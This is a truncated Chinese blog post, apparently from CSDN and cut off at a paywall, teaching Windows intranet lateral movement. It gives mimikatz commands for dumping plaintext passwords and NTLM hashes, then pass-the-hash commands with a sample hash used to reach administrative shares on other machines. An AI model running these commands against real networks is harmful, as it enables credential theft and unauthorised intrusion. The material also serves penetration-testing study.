内网横向渗透

最新推荐文章于 2024-07-24 09:45:22 发布

Ki同学

最新推荐文章于 2024-07-24 09:45:22 发布

阅读量1.7k

点赞数 1

文章标签：安全网络安全

本文链接：https://blog.csdn.net/weixin_68652890/article/details/124435022

版权

本文详细介绍了内网横向渗透的过程，包括信息搜集、利用mimikatz获取明文密码或NTLM哈希。接着，讨论了哈希传递（pass the hash pth）和票据传递（pass the ticket ptt）两种方法，以及如何通过Psexec、smbexec和Wmic工具在目标系统上执行命令。内容涉及了多个Windows系统管理工具的使用，强调了这些方法在安全领域的潜在风险。

摘要由CSDN通过智能技术生成

前期：信息搜集
mimikatz获取明文密码

mimikatz # privilege::debug
mimikatz # sekurlsa::logonPasswords

在这里插入图片描述

在windows 2012以上系统需要修改注册表搭配procdump+mimikatz 获取明文密码密码

哈希传递（pass the hash pth）

1.利用ntlm hash 进行哈希传递

连接工作组账户：

mimikatz # privilege::debug     //提升权限
mimikatz #sekurlsa::pth /user:administrator /domain:workgroup /ntlm:23ae064d483cef543b50d07fc48756c7  //传递哈希
dir \\192.168.1.3\c$         //ip连接
dir \\WIN7-X64\c$            //计算机名连接

在这里插入图片描述

连接域账户：

mimikatz # privilege::debug  //提升权限
mimikatz # sekurlsa::pth /user:tom /domain:HACKE /ntlm:23ae064d483cef543b50d07fc48756c7//传递哈希
c:\windows\system32> d

最低0.47元/天解锁文章

Ki同学

关注

1
点赞
踩
1

收藏

觉得还不错? 一键收藏
0
评论
内网横向渗透

前期：信息搜集mimikatz获取明文密码mimikatz # privilege::debugmimikatz # sekurlsa::logonPasswords在windows 2012以上系统需要修改注册表搭配procdump+mimikatz 获取明文密码密码哈希传递（pass the hash pth）1.利用ntlm hash 进行哈希传递连接工作组账户：mimikatz # privilege::debug //提升权限mimikatz #sekurlsa::
复制链接

扫一扫